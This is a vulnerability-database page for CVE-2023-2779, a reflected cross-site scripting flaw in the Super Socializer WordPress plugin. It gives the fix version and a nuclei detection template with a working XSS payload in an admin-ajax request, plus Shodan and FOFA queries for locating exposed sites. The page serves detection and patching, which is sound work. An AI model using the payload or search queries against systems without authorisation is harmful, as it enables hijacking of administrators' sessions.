HexBrain

Browse / CVEs / CVE-2023-2779

CVE-2023-2779· heator / social share\, social login and social comments· CWE-79

Super Socializer < 7.13.52 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Unauthenticated attackers can inject malicious JavaScript to steal high-privilege user session cookies including administrator credentials.

Fix

Fixed in version 7.13.52

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[%3Cimg%20src%3Dx%20onerror%3Dalert%28document%2Edomain%29%3E]=https://oast.pro
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "facebook_urls")

Run it with nuclei: nuclei -id CVE-2023-2779 -u <target>

The full check
id: CVE-2023-2779

info:
  name: Super Socializer < 7.13.52 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript to steal high-privilege user session cookies including administrator credentials.
  remediation: Fixed in version 7.13.52
  reference:
    - https://wpscan.com/vulnerability/fe9b7696-3b0e-42e2-9dbc-55167605f5c5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2779
    - https://wordpress.org/plugins/super-socializer/
    - https://github.com/40826d/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2779
    cwe-id: CWE-79
    epss-score: 0.05991
    epss-percentile: 0.93378
    cpe: cpe:2.3:a:heator:social_share\,_social_login_and_social_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: heator
    product: social_share\,_social_login_and_social_comments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/super-socializer/
    fofa-query: body=/wp-content/plugins/super-socializer/
    publicwww-query: "/wp-content/plugins/super-socializer/"
  tags: cve,cve2023,wpscan,xss,wp,wp-plugin,wordpress,authenticated,super-socializer,heator,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[%3Cimg%20src%3Dx%20onerror%3Dalert%28document%2Edomain%29%3E]=https://oast.pro HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "facebook_urls")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from